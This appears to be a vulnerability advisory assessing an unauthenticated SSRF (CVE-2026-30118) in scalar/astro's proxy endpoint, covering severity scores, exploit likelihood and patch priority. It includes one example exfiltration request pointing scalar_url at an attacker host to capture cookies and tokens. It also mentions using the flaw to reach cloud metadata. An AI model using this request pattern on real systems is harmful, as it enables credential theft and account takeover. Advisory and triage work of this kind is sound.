Scalar Astro CVE-2026-30118

The target must be running scalar/astro v0.1.13 with the Scalar Proxy endpoint exposed and reachable over the network, and the proxy must be configured to forward request headers/cookies for the credential-exfiltration impact (the SSRF-to-internal-services impact does not require this). Per CVSS PR:N/UI:N and the description, no authentication and no user interaction are required to invoke the proxy with an attacker-chosen scalar_url; the practical limit on exploitation is therefore (1) whether the vulnerable Astro integration is actually deployed in production rather than only locally during docs development, and (2) network reachability of the proxy route - internal-only deployments behind a VPN cannot be hit from the public internet, though they remain exposed to insiders or chained SSRF entry points.

The CVSS 9.8 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects an unauthenticated, network-reachable, low-complexity bug with high impact across confidentiality, integrity, and availability - entirely consistent with an unauthenticated SSRF that can leak credentials and proxy traffic into internal networks. However, EPSS is only 0.03% (8th percentile), and the vulnerability is not listed in CISA KEV, so there is no evidence of widespread or in-the-wild exploitation; the discrepancy is most plausibly explained by scalar/astro being a niche package with limited deployment surface rather than the bug being hard to exploit. Publicly available exploit code exists (the referenced GitHub PoC labeled 'ssrf-zero-click-ato-scalar' indicates a zero-click ATO chain), which raises real-world risk for any environment running v0.1.13 behind authenticated sessions. SSVC-style read: Exploitation = PoC, Automatable = Yes (single HTTP request to a fixed endpoint), Technical Impact = Total - making this a priority patch for affected deployments despite the low EPSS.

An unauthenticated attacker crafts a URL pointing at the victim's Scalar Proxy endpoint with scalar_url set to an attacker-controlled host (e.g., /proxy?scalar_url=https://attacker.tld/collect), and lures a logged-in user - or directly issues the request if the proxy attaches server-side credentials - causing the backend to forward the victim's cookies, Authorization headers, or internal API tokens to the attacker. The published PoC characterizes this as a zero-click account takeover, meaning the attacker can replay captured session material to impersonate the victim and pivot to privileged actions; the same primitive can also be aimed at internal-only services (cloud metadata, admin APIs) reachable from the application server.